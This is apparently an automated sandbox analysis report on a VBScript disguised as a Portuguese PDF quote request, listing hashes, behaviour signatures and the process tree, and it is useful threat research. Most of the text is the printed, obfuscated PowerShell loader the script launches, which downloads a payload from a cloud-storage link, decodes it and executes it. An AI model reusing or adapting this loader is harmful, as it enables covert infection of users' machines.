Analysis
-
max time kernel
149s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
04/11/2024, 15:11
Static task
static1
Behavioral task
behavioral1
Sample
Pedido de Cotação-24110004_Pdf.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Pedido de Cotação-24110004_Pdf.vbs
Resource
win10v2004-20241007-en
General
-
Target
Pedido de Cotação-24110004_Pdf.vbs
-
Size
25KB
-
MD5
b64fdcb2377a382cb42e87217d6ee517
-
SHA1
739db4a77791bfbec0cf5be586a9a53d869c01ee
-
SHA256
7be994f97359581ce590cdfea2f2a5e60a07d198a17aaa46b551c77e977587bc
-
SHA512
7df115f1b9909e7dec4a528cb9ad0e88d2a23c258b58812e45eb15cbed3500ecba92c705067066c34d1b2675c57138e11910a2b774cd2f99689bdf5c42e15c59
-
SSDEEP
384:EBbHfbnj8UeHqUxbHRlCiJshjpj6eSQBTYTw9jMehg:EB78UlUNGPh1WeTBTcw9jMz
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2136 WScript.exe -
pid Process 1604 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1604 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2136 wrote to memory of 1604 2136 WScript.exe 31 PID 2136 wrote to memory of 1604 2136 WScript.exe 31 PID 2136 wrote to memory of 1604 2136 WScript.exe 31
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pedido de Cotação-24110004_Pdf.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Afstive Jaundiceroot Tranquillizes #>;$Rekommanderede='Udkrngedes';<#antrustionship Subtraktionstegns Acridinium #>; function Metoder($partnerships){If ($host.DebuggerEnabled) {$reprimand++;}$Saddlesick=$Syrnet+$partnerships.'Length' - $reprimand; for ( $Moorburner=5;$Moorburner -lt $Saddlesick;$Moorburner+=6){$maaneskinsarbejdernes=$Moorburner;$slambehandlingens+=$partnerships[$Moorburner];}$slambehandlingens;}function Acolhua($Noncalculative){ . ($Kontrolpunkt) ($Noncalculative);}$resnderrivende=Metoder 'ViritM AvaioBlindzUdgiviBrainlPolyglSurkaa Re l/Notat ';$Baggrundsjobs=Metoder 'teeswTAs uml teknsUreth1.enor2 Te,u ';$Provisive='Under[ holeN TribEBe ftTOpsmg. UplaS LevaEC,mnsRSunniVSubsiIcoun CCuratER vfipPredeoDoughICotypNenforTAfvbnmInamoaEmulon EkspAUnivegMaskieSulforam sk]Form :Paagr: HatcS mileeHotchc Hireu S,amrColoni tykgTDragnYHar ePVer.fRRyge.oGanzit TranOsjusscMllero GenflFacin=Luftv$ TronB UdboAIndusGWreatGInce R equiUSkattnP,otoDAntioSHagrijTrirao OprebaguamsCerbe ';$resnderrivende+=Metoder 'Latin5 Pro .Nelli0Sogne Ude l( in,oWDemuliTelesn Sp cdKorrooPolitwPref.s rene UnderNLindeTPalae Blre1Kippe0Perru.f rmn0 Opre;anded co,tW DowniAstranProsu6Berre4S,par;Undra OversxArbej6Corne4 Retc;Proto Repubr,bsecv W ey: ugon1Livsf3Sk,nn1 Tato.P rfe0 vann)Dem c SkanG BenteOverlcR,llekHeddlo ehea/Ggebg2Organ0Engla1Irido0Svog 0Rebec1Hava 0Condi1Atomf ErkenFRenonijunglrDatabe Ind fAce ho .istxCuvet/Pa eo1Canro3Grans1Decal.Over 0Tubif ';$Geodesical=Metoder 'enpukuEarldsBealteOprulR Vi e-PasteaMariagUdsmye AcmenCoef TLucru ';$Penannular=Metoder 'ind ehTjenetLakertamiespSmokesRisen:Brnds/ S,mb/S onsdOpstarR ndeiBibliv.ranseDogme. FdevgMa ioo uraoPlumog yrknlFrsteephyto.LovfscIsoloo IndomStra /Chat u Fensc He.r? BraheMistrxTimbepFlui opermirNoaortIndbd=GramidSotteo No,awExpr nKordelSaprooExa baEarthd Udes&Urr eiTalpid tale=cytot1Maan.q PseuIDrif G N rd8For kEDriftq SucccDiatonLanyarDemokgRegis-Styr.kAirscy Krilg BrylI Edd,IDiurnXRenteCKraftbDisbuTDismoL ulvmF roliT Cerek Kn.pgMatelxDigi xEuseb9KingsJYamstiFoveo2Plejewe pen ';$Sclererythrin=Metoder 'Flink>Lysti ';$Kontrolpunkt=Metoder 'Be otIKlipfe Barax Sain ';$Matched='Henlig';$Fremgangsperioder='\Drossiest.Ona';Acolhua (Metoder 'Succo$O.erfG En ulBortkO SkatB Pod,aScabbLIndgr:TeglvT ocuR everI,conopMorp tS.eniLUnd rLSolsoEUn.erR,althnMegaleTrussSSolba= .upr$produeB ginN FnisVAmbu :SlutoATeor PMargipStatsdOver,AWastyt ContaPlugu+Saapa$ ntgeFkontorAutoleNat.eMTr.daGWheeza OpnaNIdiopGslaaeSGav epPinliE lovfr O vaI envO O.dkdTul peTilsyRMunke ');Acolhua (Metoder ' Swee$U groGSk ndlDokniOEmpirBHvleda TeksLBinds: sgaapDarwieIn.err.andfm OcciaFortrNB,uece LaagNTils T KakoEGpdig1Bebar0Kokre6Chrom=Adien$OverlP ComeemadrinNaaleaAngreN FormN PutoUAlalilUnderATrou rF.rsk.Frsk SKnighP BlodL HjkoiB.efetFdeva(Ampho$Remu.sR.elfcPeriglDokkee rakrSolh EF edsR DkskyBlightHundehHemogrIbadgiP bernS ado)Sargo ');Acolhua (Metoder $Provisive);$Penannular=$Permanente106[0];$Chermes=(Metoder 'Drupe$Havs.gSupe l Afsko paleb Ma iANondeLSympo:BekenlShudnIkaspebtriclePreseLSlovel EkseeGevinENoaor=P ngen IdeoEOphthwLyski-Ma.ofoHjernBBassnjKighoefor,iCChavetBirec ,rnefS dpnsY RpthSaer eT,chneEAtomsM Rytt. MalmNLaaseeSealiT Sun .Ba,chWAlterE Townb Presc ,remL Brani DeroEMammonF,lmatMeste ');Acolhua ($Chermes);Acolhua (Metoder ' Sm,e$SamliLSkovfiGloribRom neMap,elArmoulPa koeMyriaePereg.MisilH DocteDroguaInsusdEk peeTil,rrSylvas ndfr[viti,$Bi odGInduve Syndo S,stdAfsoneIntersTurfsi ResicThunnaO eril L.nd]sti l=bi na$FraktrC owneForjas FemknLels d Ut leAkkorrMannirLemelivig.nvFizgieLeflenApo odknirkeSabba ');$Subcutis10=Metoder 'Bland$BoondLtungti oninbBecureImpe lS amplBi.leeRhi,oePumel.TiensD ahogoPseudw A stnO tshlAmalgoCanasaAvi rd TlacFCondei itrilLi.sce yste( Dj e$CalomPMa ineStrernPr lba ,rknnsubsunR ptiu K anlAbacaaMazinr Teks,Grade$N ninH,rimpufacadlBillaeHonnob usigoForbeesorburTruisndegageHande)Grund ';$Huleboerne=$triptllernes;Acolhua (Metoder 'Rvere$P,ndeGBede LDepolOStoplbVoka.a.yelolOpstd:TomatpSkyldrGruppEJordpDIltogEG akkSPiar P JambOPiz anRetrod vrdE ,npanLovfscUdsanYtupel= Spar(BrestT TumlEBrades ampTM tri-HjrebpBastaATalaltFremhHAm th Redre$F tnihHkkenuselvalG nnee Hy eBTil aoOpr,sE Fr.mRTanden ContEAxone).dont ');while (!$Predespondency) {Acolhua (Metoder 'Teist$Udv dg Be.zlLedigoDegrebDo.araHjlpel Kniv:Arrain carpaTan,enMil ejUnpopa Mou,=Omhan$Lagert Mercr Warpu rtenePresc ') ;Acolhua $Subcutis10;Acolhua (Metoder 'TryllSNavn TNovita,lannR Specttet,a-AngreSSy telEntere DagpETreemPDesid Brost4Solac ');Acolhua (Metoder 'Ramek$GelssgSmsy lbrainOAu,orbPav laNonstlHo.ke:SknhePS kniR SaniE F.leD,tamhEI urbSBil ypDruekORitmenSmertDHebraeEvaluN ellsCSk tlY nve=Smreg(Su,peTSa lieMechaSBellytExcha-FilmpPsalgsaB dmtt.ucorHTyran civ l$ bal H MorpuSyst.LHoodleNugldbbal woK ndoeBecheR LabsnSpulyEUdvik)Traf ') ;Acolhua (Metoder 'Proto$Aftapg Fal lKopulORimleB AvlsaPodzoL Flge:LysneTSkansh ladmi tandoHahneB,orstaF lmsc ielstHirseeTerpeRDrivgi Bla,a,tege=Vapor$ TestGBetjelH peroPedimb B.elaRegisL H em:U.senX Van e GlobNBronboRak.tfShog,O NonsBElektIO erfESmillnS rinspoli 2p rad2Im os6Weakl+ Expe+enl.d% Hav $Regalp LeukeGa ilR Hjo mMyrmeAN narNthorae OmslnRoa,iT.itteE real1 Dy e0Pt,ro6 kist.Fr,ggCBilejOMisknu maljNlangtTPlomb ') ;$Penannular=$Permanente106[$Thiobacteria];}$Tragtningernes=300506;$Obstinant=31257;Acolhua (Metoder ' Lysb$T yknG MissLPacifOfiberbPol.uaFingeL eglo:H stamDi otiRespiDS,antt VinbSHusm iExtradStapheTrul Indec=sup r AdvokgRearrENeessT Semi-CentrcC owno WantNAfterTAktieECentrN brucT anon Eclec$MedalhR stlUOvertlUdspreCos bBB,ando TjreeGenetrFrencNA rlieOsm n ');Acolhua (Metoder 'D spr$Na,bog erkelCanceoSma db GracaMonetlMeanw:VandlMUrbiaeC ppul Opgal g noeAnto,mParanbk ydsllukkeoNonp.nDesildChar Sy.ve= Embl Ledel[Co.ntS,rcheyY,anssPetrotUnmane In emSe lr. alaC A,roo.imonnMisclvArikce ociorOrtygtCongr]Rwa d:Avlin:BanneFParkerHvelsoAar.umRejf.B KngtaUnprosSignae erdi6R mpe4 GebiSTur.itDullerBotaniAfgi n sealgSkovt( Spis$coffeMFr,friKnittdDaahjtoriensP ungiSkyskd ompe Abbr) Prod ');Acolhua (Metoder 'In om$InausGRekonl FejloKaryob,stebaPalm,L hirl: CandPEtlarOStenbSMrkvrt LillsUninccKoncea ormersinknlSalonA ForstP ectiSbefanOmstiOEn obiUnderdGypsy Snusd=Synod Nephr[FrihjsLnforYscrupsKo totPoacheAgrikM Spir.VrnentDeutoeOklafxDemipTAttri. DisfEimpr nSl abc Gr iO TrakD edisIEksplN PensGNonpa] ,ill:Zebec:Di.nyAO,ersSRein cMacr ICra sIEnkro.DistiGUdebleEg lrTPseudSElgenT AsteRAffaliLatteN ,avtgUptre(.eplo$Afga M Unlee .assl StamLGyldeeStud Mgl,ndb Pre,L adonOPa chn utradsamme)ugem ');Acolhua (Metoder 'Adumb$T.desG Li,alValgmOBevisbIsoheA JariLB jae:Arb.jBudenduFast cBackwkzigzaLOmko eApporyBobes=Carbo$ Ja.uP Kymoo StbesNonamTKorrosSta fcRendeAmatter,orellSvitsA TeemTInfanIBenedNSumacoKraveiCam cdGr pl.RespostrefuUCrystB S olsKn.vmtHelterOvercIR,tteNP isbgNews ( Posi$Ua titbandeR DeflaUnio.G Lo lTAnnuin.lendIHalsenNewyogUn erESemitrDetern.nfixELandsS Umen,M nar$E,teroDaabsbTeht.STjenstTtsidISammenPare,APlecon Bkket Cano)Vauqu ');Acolhua $Buckley;"2⤵
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1604
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b